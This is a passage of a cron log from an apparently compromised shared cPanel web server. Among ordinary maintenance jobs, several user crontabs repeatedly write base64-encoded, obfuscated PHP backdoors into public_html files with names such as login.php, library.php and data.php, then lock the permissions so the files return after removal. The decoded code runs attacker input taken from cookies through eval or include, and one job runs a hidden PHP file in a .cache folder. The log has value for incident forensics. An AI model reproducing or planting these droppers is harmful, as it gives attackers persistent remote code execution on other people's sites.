ICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:52:02 medusa CROND[8073]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:52:02 medusa CROND[8078]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:52:02 medusa CROND[8079]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:52:02 medusa CROND[8080]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 10:53:02 medusa CROND[26840]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:53:02 medusa CROND[26842]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:53:02 medusa CROND[26843]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:53:02 medusa CROND[26844]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:53:02 medusa CROND[26845]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:53:02 medusa CROND[26846]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:53:02 medusa CROND[26849]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 10:53:02 medusa CROND[26851]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:53:02 medusa CROND[26852]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:53:02 medusa CROND[26861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:53:02 medusa CROND[26862]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:53:02 medusa CROND[26877]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:54:02 medusa CROND[14031]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:54:02 medusa CROND[14032]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:54:02 medusa CROND[14033]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 10:54:02 medusa CROND[14034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:54:02 medusa CROND[14035]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:54:02 medusa CROND[14036]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:54:02 medusa CROND[14037]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:54:02 medusa CROND[14038]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:54:02 medusa CROND[14039]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:54:02 medusa CROND[14048]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:54:02 medusa CROND[14050]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
